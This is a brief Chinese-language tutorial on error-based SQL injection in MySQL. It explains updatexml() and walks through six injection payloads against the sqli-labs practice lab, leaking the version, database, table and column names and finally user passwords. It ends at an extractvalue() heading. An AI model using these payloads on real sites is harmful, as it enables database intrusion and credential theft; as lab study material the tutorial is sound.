报错注入


常用函数

updatexml()

1
2
3
4
5
6
7
8
9
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

作用:改变文档中符合条件的节点的值

语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

以sqlilab -5为例

1
2
3
4
5
6
1.  ?id=1'-- +
2. ?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)-- +
3. ?id=1' and updatexml(1,concat(0x7e,version(),0x7e,user(),0x7e,database(),0x7e),1)-- + //XPATH syntax error: '~5.7.26~root@localhost~security~'
4. ?id=1' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1)-- + // ',referers,uagents,users'
5. ?id=1' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1)-- + //XPATH syntax error: ',username,password'
6. ?id=1' and updatexml(1,(select group_concat(password) from users))-- + //XPATH syntax error: ',I-kill-you,p@ssword,crappy,stup'

extractvalue()